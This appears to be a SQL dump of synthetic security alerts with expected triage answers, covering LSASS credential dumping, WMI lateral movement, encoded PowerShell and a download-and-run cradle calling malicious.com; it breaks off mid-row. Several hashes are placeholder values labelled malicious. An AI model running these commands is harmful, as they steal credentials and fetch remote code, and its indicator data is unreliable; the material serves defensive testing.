(2122, 'Suspicious Memory-Only Malware Execution Detected', 'critical', 'CrowdStrike', 'Detected advanced malware execution directly from memory, utilizing process hollowing techniques to evade traditional file-based detection mechanisms.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:12:34Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"203.0.113.77\",\"username\":\"malicious_user\",\"hostname\":\"endpoint-03\",\"command_line\":\"svchost.exe -k netsvcs\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised endpoint\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple malware campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"svchost.exe -k netsvcs\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Execution pattern matches process hollowing technique\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Associated with known in-memory malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Memory-only execution with process hollowing is a hallmark of sophisticated malware, bypassing traditional detection.\"}', 'Expert', 'EDR', 9, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2123, 'Sophisticated Fileless Malware Detected via PowerShell', 'critical', 'CrowdStrike', 'A fileless malware attack using PowerShell has been detected on a critical server. The attack involved the use of a memory-only payload executed via PowerShell scripts.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.1.1.5\",\"username\":\"svc_admin\",\"hostname\":\"finance-server-01\",\"command_line\":\"powershell -NoProfile -ExecutionPolicy Bypass -Command $payload = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\'aGVsbG8gd29ybGQ=\')); iex $payload\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 947 times for various malware attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -NoProfile -ExecutionPolicy Bypass -Command $payload = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\'aGVsbG8gd29ybGQ=\')); iex $payload\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command associated with fileless malware payloads\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to known malicious PowerShell scripts\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of PowerShell with encoded commands and known malicious hash indicates a sophisticated fileless malware attack.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2124, 'Credential Dumping Detected from LSASS on Critical Server', 'critical', 'SentinelOne', 'An attacker attempted to dump credentials from the LSASS process on a domain controller using a suspicious tool.', 'Credential Attack', 'T1003.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.2.2.15\",\"username\":\"admin_john\",\"hostname\":\"dc1.corp.local\",\"command_line\":\"procdump.exe -accepteula -ma lsass.exe C:\\\\Windows\\\\Temp\\\\lsass.dmp\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 523 times for credential theft activities\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"procdump.exe -accepteula -ma lsass.exe C:\\\\Windows\\\\Temp\\\\lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command matches known credential dumping techniques\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with tools for dumping LSASS process memory\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of Procdump on LSASS and the associated OSINT findings confirm this as a credential dumping attempt.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2125, 'Lateral Movement Detected via WMI', 'high', 'Carbon Black', 'A potential lateral movement was detected involving the use of WMI to execute commands on a remote host within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:30:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.1.15\",\"dst_ip\":\"10.1.1.20\",\"username\":\"jane_doe\",\"hostname\":\"workstation-02\",\"command_line\":\"wmic /node:10.1.1.20 process call create \'cmd.exe /c whoami\'\",\"file_hash\":\"f1e269ba5ba1c4d4e5c9e6c7d0f6b8a1\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address within the network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Destination IP is an internal address within the network\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:10.1.1.20 process call create \'cmd.exe /c whoami\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"WMI commands used for lateral movement\"}}],\"expected_actions\":[\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI to execute remote commands is indicative of lateral movement within the network.\"}', 'Expert', 'EDR', 9, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2126, 'Suspicious Network Traffic to DGA Domain', 'high', 'Sysmon', 'An unusual network connection was detected from a corporate machine to a domain generated by a Domain Generation Algorithm (DGA), indicating potential C2 communication.', 'Malware', 'T1568', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:21:11Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.3.3.7\",\"dst_ip\":\"192.0.2.123\",\"username\":\"alice_tech\",\"hostname\":\"dev-machine-03\",\"domain\":\"xj7f9kd.example.com\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.3.3.7\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address within the network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.0.2.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple C2 servers\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"xj7f9kd.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain generated by a known DGA pattern\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The domain matched DGA patterns, commonly used by malware for C2 communications.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2127, 'Lateral Movement Detected via Fileless WMI Attack', 'critical', 'CrowdStrike', 'A fileless attack using WMI was detected, indicating lateral movement attempts on the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.2.1.5\",\"dst_ip\":\"10.2.1.10\",\"username\":\"admin_karen\",\"hostname\":\"data-center-01\",\"command_line\":\"wmic /node:10.2.1.10 process call create \'powershell -exec bypass -enc JABwAG8AdwBlAHIAUwBoAGUAbABsACAALQBuAG8AcAByAG8AZgBpAGwAZQAgAC0AZQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAnACAAJAB5AG8AdQByAF8AYwBvAG0AbQBhAG4AZAA=\'\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.2.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal address within the network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.2.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Destination IP is an internal address within the network\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:10.2.1.10 process call create \'powershell -exec bypass -enc JABwAG8AdwBlAHIAUwBoAGUAbABsACAALQBuAG8AcAByAG8AZgBpAGwAZQAgAC0AZQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAnACAAJAB5AG8AdQByAF8AYwBvAG0AbQBhAG4AZAA=\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of fileless lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI with encoded PowerShell commands suggests an attempt at stealthy lateral movement.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2128, 'Advanced PowerShell Fileless Malware Detected via WMI', 'critical', 'CrowdStrike', 'A PowerShell-based fileless malware was detected attempting lateral movement through WMI. The attack leveraged process hollowing and memory-only payloads.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:25:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.20\",\"username\":\"jdoe\",\"hostname\":\"CORP-DC01\",\"command_line\":\"powershell -NoP -NonI -W Hidden -Enc aW1wb3J0LW1vZHVsZSAgU3lzdGVtLk5ldC5XaW5kb3dzLl1N\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -NoP -NonI -W Hidden -Enc aW1wb3J0LW1vZHVsZSAgU3lzdGVtLk5ldC5XaW5kb3dzLl1N\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell script indicative of fileless malware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of known malware campaign\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command and associated file hash confirm the presence of fileless malware.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2129, 'Credential Dumping via LSASS Memory Access', 'high', 'SentinelOne', 'An unauthorized access to LSASS memory was detected, indicating a possible credential dumping attempt using obfuscated techniques.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.10\",\"username\":\"admin\",\"hostname\":\"SERVER01\",\"command_line\":\"rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 3728 C:\\\\Temp\\\\lsass.dmp full\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in credential dumping\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 3728 C:\\\\Temp\\\\lsass.dmp full\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for LSASS dumping, indicating credential theft\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious credential dumping tool\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of rundll32 with comsvcs.dll and associated hash confirms credential dumping activity.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2130, 'Multi-Hop C2 Communication via Discord Detected', 'critical', 'Carbon Black', 'Malicious communication with a command-and-control server through Discord was detected, employing fast-flux DNS and heavy obfuscation.', 'Data Exfil', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.25\",\"dst_ip\":\"104.16.59.37\",\"username\":\"user1\",\"hostname\":\"WORKSTATION-01\",\"domain\":\"discordapp.com\",\"url\":\"https://discordapp.com/api/webhooks/1234567890/abcdefghij\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address communicating with external service\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"discordapp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain used for legitimate and malicious C2 communications\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://discordapp.com/api/webhooks/1234567890/abcdefghij\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with C2 activity via Discord\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The C2 communication pattern and use of Discord webhooks indicate exfiltration through legitimate services.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2131, 'DGA Domain Usage Indicative of C2 Communication', 'high', 'Sysmon', 'Detected use of a domain generation algorithm (DGA) domain for command-and-control communication, indicative of nation-state activity.', 'Malware', 'T1568', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:25Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.50\",\"dst_ip\":\"203.0.113.89\",\"username\":\"svc_account\",\"hostname\":\"BACKUP-SERVER\",\"domain\":\"xyz1234abcd.com\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in suspicious network activity\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"xyz1234abcd.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"DGA domain used in known C2 infrastructure\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 communications\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of a DGA domain with associated malicious IP confirms command-and-control channel establishment.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2132, 'Process Hollowing Detected in Critical System Process', 'critical', 'CrowdStrike', 'A sophisticated process hollowing attack was detected in a critical system process, suggesting an attempt to hide malicious payloads in memory.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.20\",\"dst_ip\":\"192.168.4.40\",\"username\":\"system\",\"hostname\":\"MAIL-SERVER\",\"command_line\":\"svchost.exe -k netsvcs\",\"file_hash\":\"a54d88e06612d820bc3be72877c74f257b561b19\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in process hollowing\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"svchost.exe -k netsvcs\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command associated with process hollowing in critical system processes\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a54d88e06612d820bc3be72877c74f257b561b19\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to advanced malware using process hollowing techniques\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of svchost.exe with unusual parameters and the associated hash confirms process hollowing activity.\"}', 'Expert', 'EDR', 9, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2133, 'Fileless PowerShell Malware Execution Detected', 'critical', 'CrowdStrike', 'A fileless PowerShell malware was executed on an internal server using process hollowing techniques. The malware communicates with a C2 server over Discord.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:42:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"198.51.100.32\",\"username\":\"svc_admin\",\"hostname\":\"server01.internal\",\"command_line\":\"powershell -nop -w hidden -enc JABQAG8AdwBlAHIAUwBoAGUAbABsAC4A\",\"file_hash\":\"3d5128a1a3c9c9e8f0d6b9f1a0e3f4g5\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.32\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 200 times for C2 communications.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -nop -w hidden -enc JABQAG8AdwBlAHIAUwBoAGUAbABsAC4A\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of fileless malware.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d5128a1a3c9c9e8f0d6b9f1a0e3f4g5\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware signature.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command and communication with a known malicious C2 IP confirm the presence of fileless malware.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2134, 'Credential Dumping via LSASS Detected', 'high', 'Carbon Black', 'Suspicious access to LSASS memory detected indicative of credential dumping. The attacker used procdump.exe to extract credentials.', 'Credential Attack', 'T1003.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:20:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.1.15\",\"dst_ip\":\"none\",\"username\":\"jdoe\",\"hostname\":\"workstation02.internal\",\"command_line\":\"procdump.exe -accepteula -ma lsass.exe dumpfile.dmp\",\"file_hash\":\"f2b1d9e8c9a6b8c4e2f1d3a9e8f4b7c6\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"procdump.exe -accepteula -ma lsass.exe dumpfile.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for credential dumping from LSASS.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"f2b1d9e8c9a6b8c4e2f1d3a9e8f4b7c6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious procdump usage.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of procdump.exe against LSASS and the associated hash confirm credential dumping activity.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2135, 'Lateral Movement Detected via WMI', 'critical', 'SentinelOne', 'Detected lateral movement attempt using WMI to execute commands on a remote host. The attacker leveraged a compromised admin account.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.2.2.14\",\"dst_ip\":\"10.2.2.20\",\"username\":\"admin_compromised\",\"hostname\":\"client01.internal\",\"command_line\":\"wmic /node:10.2.2.20 process call create \'cmd.exe /c whoami\'\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.2.2.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP is an internal asset.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.2.2.20 process call create \'cmd.exe /c whoami\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Use of WMI for remote command execution detected.\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The WMI command for remote execution and compromised admin account indicate an active lateral movement attempt.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2136, 'DGA Domain Activity Detected', 'high', 'Sysmon', 'Communication with a dynamically generated domain pattern observed, indicative of a botnet or malware C2 using fast-flux technique.', 'Malware', 'T1568.002', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:54:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"203.0.113.57\",\"username\":\"malware_user\",\"hostname\":\"infected_pc.internal\",\"domain\":\"xj12kl3r9df.xyz\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"xj12kl3r9df.xyz\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with malware C2 using DGA.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported multiple times for fast-flux activity.\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The DGA domain and fast-flux IP indicate sophisticated malware C2 activity.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2137, 'Memory-Only Payload Detected via Process Hollowing', 'critical', 'CrowdStrike', 'A memory-only payload was executed on an endpoint using process hollowing. The malware initiates multi-hop C2 communications.', 'Malware', 'T1055.012', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.50\",\"dst_ip\":\"198.51.100.45\",\"username\":\"user123\",\"hostname\":\"desktop03.internal\",\"command_line\":\"rundll32.exe hollowed.dll,EntryPoint\",\"file_hash\":\"a2c5b7e9f8e4d3c2b1f6d9a8b3c4e7f5\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multi-hop C2 communication patterns.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rundll32.exe hollowed.dll,EntryPoint\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Process hollowing technique detected.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a2c5b7e9f8e4d3c2b1f6d9a8b3c4e7f5\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches with known memory-only payload.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of process hollowing and communication with a known malicious IP confirm the presence of advanced memory-only malware.\"}', 'Expert', 'EDR', 9, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2138, 'APT-Level PowerShell Fileless Malware Detected', 'critical', 'CrowdStrike', 'A fileless malware attack was detected using PowerShell to execute malicious scripts from memory. The attack involved credential dumping from LSASS.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:23:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"host001\",\"command_line\":\"powershell -nop -w hidden -ep bypass -c \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/ps.ps1\')\\\"\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell -nop -w hidden -ep bypass -c \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/ps.ps1\')\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PowerShell script used for fileless malware 